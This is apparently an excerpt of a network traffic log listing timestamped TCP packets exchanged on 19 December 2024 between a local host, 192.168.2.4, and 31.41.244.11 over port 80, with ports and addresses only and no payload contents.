Dec 19, 2024 14:10:20.459928036 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.460542917 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.460596085 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.460675955 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.460735083 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.461426020 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.461477995 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.461559057 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.461606979 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.462395906 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.462449074 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.462471008 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.462519884 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.463296890 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.463355064 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.463391066 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.463471889 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.464212894 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.464263916 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.464329958 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.464379072 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.465075970 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.465126991 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.465176105 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.465225935 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.465974092 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.466022968 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.466156006 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.466223001 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.466938972 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.466995001 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.467108011 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.467211962 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.467849016 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.467900038 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.468003035 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.468123913 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.468678951 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.468730927 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.469002008 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.469074011 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.469680071 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.469731092 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.470026970 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.470083952 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.470592022 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.470643044 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.470762968 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.470906019 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.471421003 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.471479893 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.471539021 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.471586943 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.472433090 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.472479105 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.472487926 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.472541094 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.473248959 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.473299980 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.473397970 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.473454952 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.474111080 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.474164963 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.474230051 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.474277973 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.475009918 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.475059032 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.475143909 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.475198030 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.476284981 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.476320028 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.476336956 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.476367950 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.476957083 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.477013111 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.477091074 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.477145910 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.477735996 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.477938890 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.622622013 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.622680902 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.622711897 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.622771978 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.622997046 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.623167992 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.623229980 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.623915911 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.623974085 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.624032974 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.624089003 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.624778986 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.624954939 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.624977112 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.625006914 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.625715971 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.625790119 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.625984907 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.626046896 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.626616001 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.626667023 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.626677990 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.626722097 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.627634048 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.627703905 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.627712965 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.627765894 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.628441095 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.628556013 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.628590107 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.628614902 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.629388094 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.629448891 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.629451036 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.629502058 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.630297899 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.630356073 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.630438089 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.630541086 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.631175995 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.631386042 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.631449938 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.632071018 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.632136106 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.632160902 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.632213116 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.633114100 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.633151054 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.633186102 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.633224964 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.633840084 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.633899927 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.633944035 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.634001970 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.634874105 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.634936094 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.635025978 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.635087967 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.635674953 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.635793924 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.635850906 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.636537075 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.636589050 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.636605978 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.636641026 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.637466908 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.637537003 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.637695074 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.637763023 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.638401985 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.638468027 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.638545990 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.638741970 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.639499903 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.639569998 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.639605045 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.639662027 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.640202045 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.640266895 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.640270948 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.640317917 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.641082048 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.641153097 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.641210079 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.641376019 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.642040968 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.642107010 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.642194033 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.642379045 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.642900944 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.642966032 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.643018961 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.643152952 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.643809080 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.643887997 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.643955946 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.644010067 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.644686937 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.644757986 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.644758940 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.644814014 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.645638943 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.645692110 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.645709038 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.645823956 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.646517992 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.646579981 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.646662951 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.646718025 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.647412062 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.647505045 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.647609949 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.647813082 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.648341894 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.648410082 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.648448944 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.648634911 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.649219990 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.649290085 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.649363041 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.649422884 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.650168896 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.650230885 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.650275946 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.650365114 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.651068926 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.651134014 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.651221991 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.651283979 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.651905060 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.651968956 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.652054071 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.652122021 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.652900934 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.652972937 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.653094053 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.653218031 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.653757095 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.653887033 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.653956890 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.654644012 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.654714108 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.654793024 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.654903889 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.655621052 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.655760050 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.655833006 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.655893087 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.656450987 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.656503916 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.656507015 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.656557083 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.657376051 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.657444000 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.657454014 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.657502890 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.658262968 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.658340931 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.658407927 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.659162045 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.659238100 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.659240007 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.659293890 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.660067081 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.660137892 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.660191059 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.660248041 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.660970926 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.661036968 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.661062002 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.661118031 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.662075043 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.662126064 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.662142038 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.662183046 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.662230015 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.662776947 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.662847996 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.662914038 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.662969112 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.663741112 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.663810968 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.663953066 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.664066076 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.664596081 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.664669037 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.664690971 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.664742947 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.665488005 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.665556908 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.665596008 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.665776968 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.666572094 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.666606903 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.666639090 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.666672945 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.667336941 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.667413950 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.667433977 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.667491913 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.668215036 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.668278933 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.668329954 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.668390989 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.669094086 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.669158936 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.669225931 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.669285059 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.669989109 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.670043945 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.815243959 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.815342903 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.815443039 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.815500975 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.815787077 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.816005945 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.816062927 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.816083908 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.816940069 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.816986084 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.817078114 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.817122936 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.817811966 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.817864895 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.817905903 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.818615913 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.818660975 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.818742037 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.818845034 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.819508076 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.819562912 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.819600105 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.819644928 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.820316076 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.820364952 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.820378065 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.820421934 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.821080923 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.821197033 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.821202040 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.821280003 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.821990013 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.822041035 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.822243929 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.822299004 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.823455095 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.823498964 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.823596001 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.823638916 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.824467897 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.824537039 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.824556112 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.824599981 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.825031996 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.825082064 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.825086117 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.825129986 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.825735092 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.825916052 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:20.825923920 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:20.826031923 CET	49775	80	192.168.2.4	31.41.244.11
